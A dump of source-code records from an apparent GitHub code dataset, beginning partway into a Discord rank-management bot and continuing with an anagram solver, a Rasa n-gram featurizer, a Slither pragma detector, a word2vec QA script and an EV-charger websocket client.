description=\"Change User Ranks!\")\r\n async def rank(self, interaction: nextcord.Interaction, user: nextcord.Member, rank: str=nextcord.SlashOption(name=\"rank\",description=\"Rank to give to an user.\", required=True, choices=[\"Level_0\",\"Level_1\",\"Level_2\",\"Level_3\",\"Level_4\",\"Level_5\",\"Council\"])):\r\n if rolecheck(interaction, RankRoles[\"Council\"]) == True or rolecheck(interaction, RankRoles[\"Level_5\"]) == True or rolecheck(interaction, RankRoles[\"Level_4\"]) == True:\r\n if rolecheckother(user, RankRoles[\"Council\"]):\r\n role = [x for x in await user.guild.fetch_roles() if x.id == RankRoles[\"Council\"]]\r\n role = role[0] if role else print(\"Role not Found.\")\r\n await user.remove_roles(role, reason=\"Rank Change Through Command.\")\r\n if rolecheckother(user, RankRoles[\"Level_5\"]):\r\n role = [x for x in await user.guild.fetch_roles() if x.id == RankRoles[\"Level_5\"]]\r\n role = role[0] if role else print(\"Role not Found.\")\r\n await user.remove_roles(role, reason=\"Rank Change Through Command.\")\r\n if rolecheckother(user, RankRoles[\"Level_4\"]):\r\n role = [x for x in await user.guild.fetch_roles() if x.id == RankRoles[\"Level_4\"]]\r\n role = role[0] if role else print(\"Role not Found.\")\r\n await user.remove_roles(role, reason=\"Rank Change Through Command.\")\r\n if rolecheckother(user, RankRoles[\"Level_3\"]):\r\n role = [x for x in await user.guild.fetch_roles() if x.id == RankRoles[\"Level_3\"]]\r\n role = role[0] if role else print(\"Role not Found.\")\r\n await user.remove_roles(role, reason=\"Rank Change Through Command.\")\r\n if rolecheckother(user, RankRoles[\"Level_2\"]):\r\n role = [x for x in await user.guild.fetch_roles() if x.id == RankRoles[\"Level_2\"]]\r\n role = role[0] if role else print(\"Role not Found.\")\r\n await user.remove_roles(role, reason=\"Rank Change Through Command.\")\r\n if rolecheckother(user, RankRoles[\"Level_1\"]):\r\n role = [x for x in await user.guild.fetch_roles() if x.id == RankRoles[\"Level_1\"]]\r\n role = role[0] if role else print(\"Role not Found.\")\r\n await user.remove_roles(role, reason=\"Rank Change Through Command.\")\r\n if rolecheckother(user, RankRoles[\"Level_0\"]):\r\n role = [x for x in await user.guild.fetch_roles() if x.id == RankRoles[\"Level_0\"]]\r\n role = role[0] if role else print(\"Role not Found.\")\r\n await user.remove_roles(role, reason=\"Rank Change Through Command.\")\r\n if rolecheckother(user, RankRoles[\"Starter\"]):\r\n role = [x for x in await user.guild.fetch_roles() if x.id == RankRoles[\"Starter\"]]\r\n role = role[0] if role else print(\"Role not Found.\")\r\n await user.remove_roles(role, reason=\"Rank Change Through Command.\")\r\n role = [x for x in await user.guild.fetch_roles() if x.id == RankRoles[rank]]\r\n role = role[0] if role else print(\"Role not Found.\")\r\n await user.add_roles(role, reason=\"Rank Change Through Command.\")\r\n embed = nextcord.Embed(title=\"///--- Rank Change ---///\", description=f\"User {user.mention} has been given the rank {rank}!\")\r\n else:\r\n embed = nextcord.Embed(title=\"///--- Error ---///\", description=\"You do not have the required permissions to use this command!\")\r\n await interaction.send(embed=embed, ephemeral=True)\r\n\r\nbot.add_cog(RankUserCMD(bot))\r\n\r\nbot.run(TOKEN)\r\n","repo_name":"MeidasKam/Bouncer-Bot","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":5879,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"38389782016","text":"# Сформировать третий список, содержащий элементы общие для двух списков;\nsimple_list = [1, 2, \"i\", 4, \"5\", \"6\", 7, 8]\nlist_with = [1, \"i1\", 7, \"i3\", \"5\", \"i\"]\n# list_3 = list(set(simple_list) & set(list_with)) # в одну строку\nlist_3 = []\nfor elem in simple_list:\n for elem1 in list_with:\n if elem == elem1:\n list_3.append(elem)\nprint(list_3)\n\n","repo_name":"DmytroGrek/itstep","sub_path":"practice/list hard/list_3.py","file_name":"list_3.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32807652658","text":"from __future__ import absolute_import\nimport abc\nimport collections\nfrom ..timerange import TimeRange\nfrom ..extern.clsproperty import VProperty\nfrom .record import Record\n\n\n__all__ = ['QueryABC', 'Query']\n\nclass QueryABC(object):\n __metaclass__ = abc.ABCMeta\n ips = abc.abstractproperty()\n timerange = abc.abstractproperty()\n\nclass Query(QueryABC):\n def __init__(self, ips, timerange):\n self.ips = ips\n self.timerange = timerange\n \n def __contains__(self, other):\n if isinstance(other, Record):\n return (\n (other.timestamp in self.timerange)\n and (other.ip in self.ips)\n )\n else:\n super(Query, self).__contains__(other)\n\n def __repr__(self):\n return \"{name}({ips}, {timerange})\".format(\n name = type(self).__name__,\n ips = self.ips,\n timerange = self.timerange\n )\n \n @VProperty\n class ips(object):\n def _get(self):\n return self._ips\n def _set(self, value):\n self._ips = value\n def _val(self, value):\n return validate_ips(value)\n \n @VProperty\n class timerange(object):\n def _get(self):\n return self._timerange\n def _set(self, value):\n self._timerange = value\n def _val(self, value):\n return validate_timerange(value)\n\ndef validate_ips(ips):\n if isinstance(ips, basestring):\n return [ips]\n elif isinstance(ips, collections.Sequence):\n for elm in ips:\n if not isinstance(elm, basestring):\n raise TypeError(\"All 'ips' must be strings, not {0}\".format(\n type(elm).__name__\n ))\n return ips\n else:\n raise TypeError(str.format(\n \"'ips' must be basestring or Sequence of basestrings, not {0}\",\n type(ips).__name__\n ))\n\ndef validate_timerange(tr):\n if isinstance(tr, TimeRange):\n return tr\n elif isinstance(tr, (tuple, list)):\n if len(tr) == 2:\n return TimeRange(tr[0], tr[1])\n else:\n raise ValueError(\"'timerange' must be length 2\")\n else:\n raise ValueError(str.format(\n \"'timerange': expected TimeRange or list/tuple. Got {0}\",\n type(tr).__name__\n ))\n\n\n","repo_name":"OaklandPeters/dist-map-reduce","sub_path":"endgame/interfaces/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72904833423","text":"\"\"\"\n Check that the same pragma is used in all the files\n\"\"\"\nfrom typing import List, Dict\n\nfrom slither.core.compilation_unit import SlitherCompilationUnit\nfrom slither.detectors.abstract_detector import (\n AbstractDetector,\n DetectorClassification,\n DETECTOR_INFO,\n)\nfrom slither.formatters.attributes.constant_pragma import custom_format\nfrom slither.utils.output import Output\n\n\nclass ConstantPragma(AbstractDetector):\n \"\"\"\n Check that the same pragma is used in all the files\n \"\"\"\n\n ARGUMENT = \"pragma\"\n HELP = \"If different pragma directives are used\"\n IMPACT = DetectorClassification.INFORMATIONAL\n CONFIDENCE = DetectorClassification.HIGH\n\n WIKI = \"https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used\"\n\n WIKI_TITLE = \"Different pragma directives are used\"\n WIKI_DESCRIPTION = \"Detect whether different Solidity versions are used.\"\n WIKI_RECOMMENDATION = \"Use one Solidity version.\"\n\n def _detect(self) -> List[Output]:\n results = []\n pragma = self.compilation_unit.pragma_directives\n versions = [p.version for p in pragma if p.is_solidity_version]\n versions = sorted(list(set(versions)))\n\n if len(versions) > 1:\n info: DETECTOR_INFO = [\"Different versions of Solidity are used:\\n\"]\n info += [f\"\\t- Version used: {[str(v) for v in versions]}\\n\"]\n\n for p in sorted(pragma, key=lambda x: x.version):\n info += [\"\\t- \", p, \"\\n\"]\n\n res = self.generate_result(info)\n\n results.append(res)\n\n return results\n\n @staticmethod\n def _format(slither: SlitherCompilationUnit, result: Dict) -> None:\n custom_format(slither, result)\n","repo_name":"crytic/slither","sub_path":"slither/detectors/attributes/constant_pragma.py","file_name":"constant_pragma.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":4676,"dataset":"github-code","pt":"47"} +{"seq_id":"41581477711","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport logging\nimport os\nimport time\nimport warnings\nfrom collections import Counter\nfrom string import punctuation\n\nimport numpy as np\nimport typing\nfrom builtins import map\nfrom builtins import range\nfrom typing import Any, Dict, List, Optional, Text\n\nfrom rasa_nlu import utils\nfrom rasa_nlu.config import RasaNLUModelConfig\nfrom rasa_nlu.featurizers import Featurizer\nfrom rasa_nlu.training_data import Message\nfrom rasa_nlu.training_data import TrainingData\n\nlogger = logging.getLogger(__name__)\n\nif typing.TYPE_CHECKING:\n from rasa_nlu.model import Metadata\n\nNGRAM_MODEL_FILE_NAME = \"ngram_featurizer.pkl\"\n\n\nclass NGramFeaturizer(Featurizer):\n name = \"intent_featurizer_ngrams\"\n\n provides = [\"text_features\"]\n\n requires = [\"spacy_doc\"]\n\n defaults = {\n # defines the maximum number of ngrams to collect and add\n # to the featurization of a sentence\n \"max_number_of_ngrams\": 10,\n\n # the minimal length in characters of an ngram to be eligible\n \"ngram_min_length\": 3,\n\n # the maximal length in characters of an ngram to be eligible\n \"ngram_max_length\": 17,\n\n # the minimal number of times an ngram needs to occur in the\n # training data to be considered as a feature\n \"ngram_min_occurrences\": 5,\n\n # during cross validation (used to detect which ngrams are most\n # valuable) every intent with fever examples than this config\n # value will be excluded\n \"min_intent_examples\": 4,\n }\n\n def __init__(self, component_config=None):\n super(NGramFeaturizer, self).__init__(component_config)\n\n self.best_num_ngrams = None\n self.all_ngrams = None\n\n @classmethod\n def required_packages(cls):\n # type: () -> List[Text]\n return [\"spacy\", \"sklearn\", \"cloudpickle\"]\n\n def train(self, training_data, cfg, **kwargs):\n # type: (TrainingData, RasaNLUModelConfig, **Any) -> None\n\n start = time.time()\n self.train_on_sentences(training_data.intent_examples)\n logger.debug(\"Ngram collection took {} seconds\"\n \"\".format(time.time() - start))\n\n for example in training_data.training_examples:\n updated = self._text_features_with_ngrams(example,\n self.best_num_ngrams)\n example.set(\"text_features\", updated)\n\n def process(self, message, **kwargs):\n # type: (Message, **Any) -> None\n\n updated = self._text_features_with_ngrams(message, self.best_num_ngrams)\n message.set(\"text_features\", updated)\n\n def _text_features_with_ngrams(self, message, max_ngrams):\n\n ngrams_to_use = self._ngrams_to_use(max_ngrams)\n\n if ngrams_to_use is not None:\n extras = np.array(self._ngrams_in_sentence(message, ngrams_to_use))\n return self._combine_with_existing_text_features(message, extras)\n else:\n return message.get(\"text_features\")\n\n @classmethod\n def load(cls,\n model_dir=None, # type: Optional[Text]\n model_metadata=None, # type: Optional[Metadata]\n cached_component=None, # type: Optional[NGramFeaturizer]\n **kwargs # type: **Any\n ):\n # type: (...) -> NGramFeaturizer\n\n meta = model_metadata.for_component(cls.name)\n file_name = meta.get(\"featurizer_file\", NGRAM_MODEL_FILE_NAME)\n featurizer_file = os.path.join(model_dir, file_name)\n\n if os.path.exists(featurizer_file):\n return utils.pycloud_unpickle(featurizer_file)\n else:\n return NGramFeaturizer(meta)\n\n def persist(self, model_dir):\n # type: (Text) -> Optional[Dict[Text, Any]]\n \"\"\"Persist this model into the passed directory.\"\"\"\n\n featurizer_file = os.path.join(model_dir, NGRAM_MODEL_FILE_NAME)\n utils.pycloud_pickle(featurizer_file, self)\n return {\"featurizer_file\": NGRAM_MODEL_FILE_NAME}\n\n def train_on_sentences(self, examples):\n labels = [e.get(\"intent\") for e in examples]\n self.all_ngrams = self._get_best_ngrams(examples, labels)\n self.best_num_ngrams = self._cross_validation(examples, labels)\n\n def _ngrams_to_use(self, num_ngrams):\n if num_ngrams == 0 or self.all_ngrams is None:\n return []\n elif num_ngrams is not None:\n return self.all_ngrams[:num_ngrams]\n else:\n return self.all_ngrams\n\n def _get_best_ngrams(self, examples, labels):\n \"\"\"Return an ordered list of the best character ngrams.\"\"\"\n\n oov_strings = self._remove_in_vocab_words(examples)\n ngrams = self._generate_all_ngrams(\n oov_strings, self.component_config[\"ngram_min_length\"])\n return self._sort_applicable_ngrams(ngrams, examples, labels)\n\n def _remove_in_vocab_words(self, examples):\n \"\"\"Automatically removes words with digits in them, that may be a\n hyperlink or that _are_ in vocabulary for the nlp.\"\"\"\n\n new_sents = []\n for example in examples:\n new_sents.append(self._remove_in_vocab_words_from_sentence(example))\n return new_sents\n\n @staticmethod\n def _is_ngram_worthy(token):\n \"\"\"Decide if we should use this token for ngram counting.\n\n Excludes every word with digits in them, hyperlinks or\n an assigned word vector.\"\"\"\n return (not token.has_vector and not token.like_url\n and not token.like_num and not token.like_email\n and not token.is_punct)\n\n def _remove_in_vocab_words_from_sentence(self, example):\n \"\"\"Filter for words that do not have a word vector.\"\"\"\n\n cleaned_tokens = [token\n for token in example.get(\"spacy_doc\")\n if self._is_ngram_worthy(token)]\n\n # keep only out-of-vocab 'non_word' words\n non_words = ' '.join([t.text for t in cleaned_tokens])\n\n # remove digits and extra spaces\n non_words = ''.join([letter\n for letter in non_words\n if not letter.isdigit()])\n non_words = ' '.join([word\n for word in non_words.split(' ')\n if word != ''])\n\n # add cleaned sentence to list of these sentences\n return non_words\n\n def _intents_with_enough_examples(self, labels, examples):\n \"\"\"Filter examples where we do not have a min number of examples.\"\"\"\n\n min_intent_examples = self.component_config[\"min_intent_examples\"]\n usable_labels = []\n\n for label in np.unique(labels):\n lab_sents = np.array(examples)[np.array(labels) == label]\n if len(lab_sents) < min_intent_examples:\n continue\n usable_labels.append(label)\n\n return usable_labels\n\n def _rank_ngrams_using_cv(self, examples, labels, list_of_ngrams):\n from sklearn import linear_model\n\n X = np.array(self._ngrams_in_sentences(examples, list_of_ngrams))\n y = self.encode_labels(labels)\n\n clf = linear_model.RandomizedLogisticRegression(C=1)\n clf.fit(X, y)\n\n # sort the ngrams according to the classification score\n scores = clf.scores_\n sorted_idxs = sorted(enumerate(scores), key=lambda x: -1 * x[1])\n sorted_ngrams = [list_of_ngrams[i[0]] for i in sorted_idxs]\n\n return sorted_ngrams\n\n def _sort_applicable_ngrams(self, ngrams_list, examples, labels):\n \"\"\"Given an intent classification problem and a list of ngrams,\n\n creates ordered list of most useful ngrams.\"\"\"\n\n if not ngrams_list:\n return []\n\n # make sure we have enough labeled instances for cv\n usable_labels = self._intents_with_enough_examples(labels, examples)\n\n mask = [label in usable_labels for label in labels]\n if any(mask) and len(usable_labels) >= 2:\n try:\n examples = np.array(examples)[mask]\n labels = np.array(labels)[mask]\n\n return self._rank_ngrams_using_cv(\n examples, labels, ngrams_list)\n except ValueError as e:\n if \"needs samples of at least 2 classes\" in str(e):\n # we got unlucky during the random\n # sampling :( and selected a slice that\n # only contains one class\n return []\n else:\n raise e\n else:\n # there is no example we can use for the cross validation\n return []\n\n def _ngrams_in_sentences(self, examples, ngrams):\n \"\"\"Given a set of sentences, returns a feature vector for each sentence.\n\n The first $k$ elements are from the `intent_features`,\n the rest are {1,0} elements denoting whether an ngram is in sentence.\"\"\"\n\n all_vectors = []\n for example in examples:\n presence_vector = self._ngrams_in_sentence(example, ngrams)\n all_vectors.append(presence_vector)\n return all_vectors\n\n def _ngrams_in_sentence(self, example, ngrams):\n \"\"\"Given a set of sentences, return a vector indicating ngram presence.\n\n The vector will return 1 entries if the corresponding ngram is\n present in the sentence and 0 if it is not.\"\"\"\n\n cleaned_sentence = self._remove_in_vocab_words_from_sentence(example)\n presence_vector = np.zeros(len(ngrams))\n idx_array = [idx\n for idx in range(len(ngrams))\n if ngrams[idx] in cleaned_sentence]\n presence_vector[idx_array] = 1\n return presence_vector\n\n def _generate_all_ngrams(self, list_of_strings, ngram_min_length):\n \"\"\"Takes a list of strings and generates all character ngrams.\n\n Generated ngrams are at least 3 characters (and at most 17),\n occur at least 5 times and occur independently of longer\n superset ngrams at least once.\"\"\"\n\n features = {}\n counters = {ngram_min_length - 1: Counter()}\n max_length = self.component_config[\"ngram_max_length\"]\n\n for n in range(ngram_min_length, max_length):\n candidates = []\n features[n] = []\n counters[n] = Counter()\n\n # generate all possible n length ngrams\n for text in list_of_strings:\n text = text.replace(punctuation, ' ')\n for word in text.lower().split(' '):\n cands = [word[i:i + n] for i in range(len(word) - n)]\n for cand in cands:\n counters[n][cand] += 1\n if cand not in candidates:\n candidates.append(cand)\n\n min_count = self.component_config[\"ngram_min_occurrences\"]\n # iterate over these candidates picking only the applicable ones\n for can in candidates:\n if counters[n][can] >= min_count:\n features[n].append(can)\n begin = can[:-1]\n end = can[1:]\n if n >= ngram_min_length:\n if (counters[n - 1][begin] == counters[n][can]\n and begin in features[n - 1]):\n features[n - 1].remove(begin)\n if (counters[n - 1][end] == counters[n][can]\n and end in features[n - 1]):\n features[n - 1].remove(end)\n\n return [item for sublist in list(features.values()) for item in sublist]\n\n @staticmethod\n def _collect_features(examples):\n if examples:\n collected_features = [e.get(\"text_features\")\n for e in examples\n if e.get(\"text_features\") is not None]\n else:\n collected_features = []\n\n if collected_features:\n return np.stack(collected_features)\n else:\n return None\n\n def _append_ngram_features(self, examples, existing_features, max_ngrams):\n ngrams_to_use = self._ngrams_to_use(max_ngrams)\n extras = np.array(self._ngrams_in_sentences(examples,\n ngrams_to_use))\n if existing_features is not None:\n return np.hstack((existing_features, extras))\n else:\n return extras\n\n @staticmethod\n def _num_cv_splits(y):\n return min(10, np.min(np.bincount(y))) if y.size > 0 else 0\n\n @staticmethod\n def encode_labels(labels):\n from sklearn import preprocessing\n\n intent_encoder = preprocessing.LabelEncoder()\n intent_encoder.fit(labels)\n return intent_encoder.transform(labels)\n\n def _score_ngram_selection(self, examples, y, existing_text_features,\n cv_splits, max_ngrams):\n from sklearn.model_selection import cross_val_score\n from sklearn.linear_model import LogisticRegression\n\n if existing_text_features is None:\n return 0.0\n\n clf = LogisticRegression(class_weight='balanced')\n\n no_ngrams_X = self._append_ngram_features(\n examples, existing_text_features, max_ngrams)\n return np.mean(cross_val_score(clf, no_ngrams_X, y, cv=cv_splits))\n\n @staticmethod\n def _generate_test_points(max_ngrams):\n \"\"\"Generate a list of increasing numbers.\n\n They are used to take the best n ngrams and evaluate them. This n\n is varied to find the best number of ngrams to use. This function\n defines the number of ngrams that get tested.\"\"\"\n\n possible_ngrams = np.linspace(0, max_ngrams, 8)\n return np.unique(list(map(int, np.floor(possible_ngrams))))\n\n def _cross_validation(self, examples, labels):\n \"\"\"Choose the best number of ngrams to include in bow.\n\n Given an intent classification problem and a set of ordered ngrams\n (ordered in terms of importance by pick_applicable_ngrams) we\n choose the best number of ngrams to include in our bow vecs\n by cross validation.\"\"\"\n\n max_ngrams = self.component_config[\"max_number_of_ngrams\"]\n\n if not self.all_ngrams:\n logger.debug(\"Found no ngrams. Using existing features.\")\n return 0\n\n existing_text_features = self._collect_features(examples)\n\n y = self.encode_labels(labels)\n cv_splits = self._num_cv_splits(y)\n\n if cv_splits >= 3:\n logger.debug(\"Started ngram cross-validation to find b\"\n \"est number of ngrams to use...\")\n\n scores = []\n num_ngrams = self._generate_test_points(max_ngrams)\n for n in num_ngrams:\n score = self._score_ngram_selection(examples, y,\n existing_text_features,\n cv_splits,\n max_ngrams=n)\n scores.append(score)\n logger.debug(\"Evaluating usage of {} ngrams. \"\n \"Score: {}\".format(n, score))\n\n n_top = num_ngrams[np.argmax(scores)]\n logger.info(\"Best score with {} ngrams: \"\n \"{}\".format(n_top, np.max(scores)))\n return n_top\n else:\n warnings.warn(\"Can't cross-validate ngram featurizer. \"\n \"There aren't enough examples per intent \"\n \"(at least 3)\")\n return max_ngrams\n","repo_name":"crownpku/Rasa_NLU_Chi","sub_path":"rasa_nlu/featurizers/ngram_featurizer.py","file_name":"ngram_featurizer.py","file_ext":"py","file_size_in_byte":15771,"program_lang":"python","lang":"en","doc_type":"code","stars":1468,"dataset":"github-code","pt":"47"} +{"seq_id":"72615802382","text":"from gensim.models import Word2Vec\nfrom gensim.matutils import unitvec\nimport csv\nimport numpy as np\n\ndef get_word_vector(sentence_tokens):\n vectors_available = [word for word in sentence_tokens if word in model.wv.vocab]\n result = np.zeros((model.vector_size))\n if len(vectors_available) > 0:\n result = np.mean([model[word] for word in vectors_available], axis=0)\n return result\n\ndef tokenize(x):\n\treturn x.split()\n\ndef get_sorted_answers(question, answers):\n question_vector = get_word_vector(tokenize(question))\n result = []\n for a in answers:\n answer_vector = get_word_vector(tokenize(a))\n similarity = np.dot(unitvec(answer_vector), unitvec(question_vector))\n result.append((a, similarity))\n return sorted(result, key=lambda x: -x[1])\n\ndef clear_text(x):\n\treturn x.replace('?', ' ').replace(',', ' ').replace('.', ' ').replace('-', ' ').replace(':', ' ')\n\ncorr_ans = {}\n\nwith open(\"train.csv\") as f:\n\tl = list(csv.reader(f))[1:]\n\tdata = []\n\tqs = []\n\tfor x in l:\n\t\tx[1] = clear_text(x[1])\n\t\tx[2 + int(x[-1])] = clear_text(x[2 + int(x[-1])])\n\t\tqs.append(x[1])\n\t\tcorr_ans[x[1]] = x[2 + int(x[-1])]\n\t\tdata += x[1].split() + x[2 + int(x[-1])].split()\n\nmodel = Word2Vec([data])\n\n# print(get_sorted_answers('В каком году появился YouTube', qs)[:10])\n# exit(0)\n\nres = 'question_id,correct_answer\\n'\n\nwith open(\"test.csv\") as f:\n\tl = list(csv.reader(f))[1:]\n\ti = 0\n\tfor x in l:\n\t\tif (i % 100 == 0):\n\t\t\tprint(i, '/', len(l))\n\t\tq_id = x[0]\n\t\tq = get_sorted_answers(clear_text(x[1]), qs)[0][0]\n\t\tanss = {clear_text(x[2 + i]) : i for i in range(3)}\n\t\tans = get_sorted_answers(corr_ans[q], anss.keys())[0]\n\t\tres += q_id + ',' + str(anss[ans[0]]) + '\\n'\n\t\ti += 1\n\nwith open(\"ans.csv\", \"w\") as f:\n\tf.write(res)\n\n\n","repo_name":"eropsergeev/v2w_test","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2356400884","text":"\"\"\"\nFile: anagram.py\nName:\n----------------------------------\nThis program recursively finds all the anagram(s)\nfor the word input by user and terminates when the\ninput string matches the EXIT constant defined\nat line 19\n\nIf you correctly implement this program, you should see the\nnumber of anagrams for each word listed below:\n * arm -> 3 anagrams\n * contains -> 5 anagrams\n * stop -> 6 anagrams\n * tesla -> 10 anagrams\n * spear -> 12 anagrams\n\"\"\"\n\nimport time # This file allows you to calculate the speed of your algorithm\n\n# Constants\nFILE = 'dictionary.txt' # This is the filename of an English dictionary\nEXIT = '-1' # Controls when to stop the loop\n\n# Global Variable\ndic = {}\nanagrams = []\n\n\ndef main():\n \"\"\"\n TODO:\n \"\"\"\n start = time.time()\n ####################\n global dic\n dic = read_dictionary()\n # lst = ['sanction', 'contains', 'canonist', 'actinons', 'sonantic']\n print('Welcome to Stancode \"Anagram Generator\"(or -1 to quit)')\n s = input('Find anagrams for: ')\n if s == EXIT:\n pass\n else:\n find_anagrams(s)\n ####################\n\n end = time.time()\n print('----------------------------------')\n print(f'The speed of your anagram algorithm: {end - start} seconds.')\n\n\ndef read_dictionary():\n with open(FILE, 'r') as f:\n for line in f:\n word = line.strip()\n start = word[0:1]\n if start in dic:\n dic[start].append(word)\n else:\n dic[start] = [word]\n return dic\n\n\ndef find_anagrams(s):\n \"\"\"\n :param s:\n :return:\n \"\"\"\n left_word_c = len(s)\n find_anagrams_helper(s, left_word_c, '')\n ana_n = len(anagrams)\n print(ana_n, 'anagrams:', anagrams)\n\n\ndef find_anagrams_helper(s, left_word_c, begin_word):\n \"\"\"\n :param s:\n :return:\n \"\"\"\n global anagrams\n global dic\n print('Searching...')\n for i in range(left_word_c):\n select = s[i]\n left_alphas = s[:i] + s[i + 1:]\n next_begin_word = begin_word + select\n if len(left_alphas) > 0:\n if has_prefix(next_begin_word):\n find_anagrams_helper(left_alphas, len(left_alphas), next_begin_word)\n else:\n index = next_begin_word[0:1]\n if index in dic:\n if next_begin_word in dic[index] and next_begin_word not in anagrams:\n anagrams.append(next_begin_word)\n print('Found: ' + next_begin_word)\n\n\ndef has_prefix(sub_s):\n \"\"\"\n :param sub_s:\n :return:\n \"\"\"\n global dic\n s_start = sub_s[0:1]\n if s_start in dic:\n for ele in dic[s_start]:\n if ele.startswith(sub_s):\n return True\n return False\n\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"JIllchen487/StanCode101","sub_path":"SC101_Assignments/SC101_Assignment5/anagram.py","file_name":"anagram.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9045144983","text":"import websocket\nimport json\nimport hashlib\nimport random\nimport threading\nimport hmac\nimport logging\nimport base64\n\nfrom enum import Enum, auto\nfrom time import sleep\nfrom types import SimpleNamespace\n\n_LOGGER = logging.getLogger(__name__)\n\nclass LoadMode():\n \"\"\"Wrapper Class to represent the Load Mode of the Wattpilot\"\"\"\n DEFAULT=3\n ECO=4\n NEXTTRIP=5\n\n\nclass Event(Enum):\n # Wattpilot events:\n WP_AUTH = auto(),\n WP_AUTH_ERROR = auto(),\n WP_AUTH_SUCCESS = auto(),\n WP_CLEAR_INVERTERS = auto(),\n WP_CONNECT = auto(),\n WP_DELTA_STATUS = auto(),\n WP_DISCONNECT = auto(),\n WP_FULL_STATUS = auto(),\n WP_FULL_STATUS_FINISHED = auto(),\n WP_HELLO = auto(),\n WP_INIT = auto(),\n WP_PROPERTY = auto(),\n WP_RESPONSE = auto(),\n WP_UPDATE_INVERTER = auto(),\n # WebSocketApp events:\n WS_CLOSE = auto(),\n WS_ERROR = auto(),\n WS_MESSAGE = auto(),\n WS_OPEN = auto(),\n\nclass Wattpilot(object):\n \n carValues = {}\n alwValues = {}\n astValues = {}\n lmoValues = {}\n ustValues = {}\n errValues = {}\n acsValues = {}\n\n lmoValues[3] = \"Default\"\n lmoValues[4] = \"Eco\"\n lmoValues[5] = \"Next Trip\"\n\n astValues[0] = \"open\"\n astValues[1] = \"locked\"\n astValues[2] = \"auto\"\n\n carValues[1] = \"no car\"\n carValues[2] = \"charging\"\n carValues[3] = \"ready\"\n carValues[4] = \"complete\"\n\n alwValues[0] = False\n alwValues[1] = True\n\n ustValues[0] = \"Normal\"\n ustValues[1] = \"AutoUnlock\"\n ustValues[2] = \"AlwaysLock\"\n\n errValues[0] = \"Unknown Error\"\n errValues[1] = \"Idle\"\n errValues[2] = \"Charging\"\n errValues[3] = \"Wait Car\"\n errValues[4] = \"Complete\"\n errValues[5] = \"Error\"\n\n acsValues[0] = \"Open\"\n acsValues[1] = \"Wait\"\n\n\n @property\n def allProps(self):\n \"\"\"Returns a dictionary with all properties\"\"\"\n return self._allProps\n\n @property\n def allPropsInitialized(self):\n \"\"\"Returns true, if all properties have been initialized\"\"\"\n return self._allPropsInitialized\n\n @property\n def cableType(self):\n \"\"\"Returns the Cable Type (Ampere) of the connected cable\"\"\"\n return self._cableType\n\n @property\n def frequency(self):\n \"\"\"Returns the power frequency\"\"\"\n return self._frequency\n\n @property\n def phases(self):\n \"\"\"returns the phases\"\"\"\n return self._phases\n \n @property\n def energyCounterSinceStart(self):\n \"\"\"Returns used kwh since start of charging\"\"\"\n return self._energyCounterSinceStart\n \n @property\n def errorState(self):\n \"\"\"Returns error State\"\"\"\n return self._errorState\n\n @property\n def cableLock(self):\n return self._cableLock\n \n @property\n def energyCounterTotal(self):\n return self._energyCounterTotal\n\n @property\n def serial(self):\n \"\"\"Returns the serial number of Wattpilot Device (read only)\"\"\"\n return self._serial\n @serial.setter\n def serial(self,value):\n self._serial = value\n if (self._password is not None) & (self._serial is not None):\n self._hashedpassword = base64.b64encode(hashlib.pbkdf2_hmac('sha512',self._password.encode(),self._serial.encode(),100000,256))[:32]\n \n @property\n def name(self):\n \"\"\"Returns the name of Wattpilot Device (read only)\"\"\"\n return self._name\n\n\n @property\n def hostname(self):\n \"\"\"Returns the DNS Hostname of Wattpilot Device (read only)\"\"\"\n return self._hostname\n\n @property\n def friendlyName(self):\n \"\"\"Returns the friendly name of Wattpilot Device (read only)\"\"\"\n return self._friendlyName\n\n @property\n def manufacturer(self):\n \"\"\"Returns the Manufacturer of Wattpilot Device (read only)\"\"\"\n return self._manufacturer\n\n @property\n def devicetype(self):\n return self._devicetype\n\n @property\n def protocol(self):\n return self._protocol\n \n @property\n def secured(self):\n return self._secured\n\n @property\n def password(self):\n return self._password\n @password.setter\n def password(self,value):\n self._password = value\n if (self._password is not None) & (self._serial is not None):\n self._hashedpassword = base64.b64encode(hashlib.pbkdf2_hmac('sha512',self._password.encode(),self._serial.encode(),100000,256))[:32]\n\n\n @property\n def url(self):\n return self._url\n @url.setter\n def url(self,value):\n self._url = value\n\n @property\n def connected(self):\n return self._connected\n\n @property\n def voltage1(self):\n return self._voltage1\n\n @property\n def voltage2(self):\n return self._voltage2\n\n @property\n def voltage3(self):\n return self._voltage3\n\n @property\n def voltageN(self):\n return self._voltageN\n\n @property\n def amps1(self):\n return self._amps1\n\n @property\n def amps2(self):\n return self._amps2\n\n @property\n def amps3(self):\n return self._amps3\n\n @property\n def power1(self):\n return self._power1\n\n @property\n def power2(self):\n return self._power2\n\n @property\n def power3(self):\n return self._power3\n\n @property\n def powerN(self):\n return self._powerN\n\n @property\n def power(self):\n return self._power\n\n @property\n def version(self):\n return self._version\n\n @property\n def amp(self):\n return self._amp\n\n @property\n def AccessState(self):\n return self._AccessState\n\n @property\n def firmware(self):\n \"\"\"Returns the Firmwareversion of Wattpilot Device (read only)\"\"\"\n return self._firmware\n\n @property\n def WifiSSID(self):\n \"\"\"Returns the SSID of the Wifi network currently connected (read only)\"\"\"\n return self._WifiSSID\n\n @property\n def AllowCharging(self):\n return self._AllowCharging\n\n @property\n def mode(self):\n return self._mode\n\n @property\n def carConnected(self):\n return self._carConnected\n\n @property\n def cae(self):\n \"\"\"Returns true if Cloud API Access is enabled (read only)\"\"\"\n return self._cae\n\n 